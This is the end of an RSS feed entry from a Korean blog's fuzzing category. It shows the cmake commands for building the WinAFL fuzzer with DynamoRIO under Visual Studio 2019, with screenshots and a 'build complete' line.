&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;534&quot; height=&quot;214&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bF1ERX/btqBkpKmjn4/mOmwuL9DKh4VhCzh3gKF21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bF1ERX/btqBkpKmjn4/mOmwuL9DKh4VhCzh3gKF21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bF1ERX/btqBkpKmjn4/mOmwuL9DKh4VhCzh3gKF21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbF1ERX%2FbtqBkpKmjn4%2FmOmwuL9DKh4VhCzh3gKF21%2Fimg.png&quot; width=&quot;534&quot; height=&quot;214&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;$ cmake -G&quot;&lt;/span&gt;&lt;span&gt;Visual Studio 1&lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt; 201&lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&quot; .. -DDynamoRIO_DIR=&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;C:\Users\NetKingJ\Desktop\&lt;/span&gt;winafl\DynamoRIO\cmake&lt;/span&gt;&lt;span&gt; -A x64&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;$ cmake --build . --config Release&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;빌드&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;완료&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;591&quot; height=&quot;482&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bn57Id/btqBkOQDc2N/5gUyVmPPcSvkXZV8L4ESWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bn57Id/btqBkOQDc2N/5gUyVmPPcSvkXZV8L4ESWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bn57Id/btqBkOQDc2N/5gUyVmPPcSvkXZV8L4ESWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbn57Id%2FbtqBkOQDc2N%2F5gUyVmPPcSvkXZV8L4ESWk%2Fimg.png&quot; width=&quot;591&quot; height=&quot;482&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Fuzzing</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/176</guid>
      <comments>https://netking.tistory.com/176#entry176comment</comments>
      <pubDate>Sat, 18 Jan 2020 21:15:31 +0900</pubDate>
    </item>
  </channel>
</rss>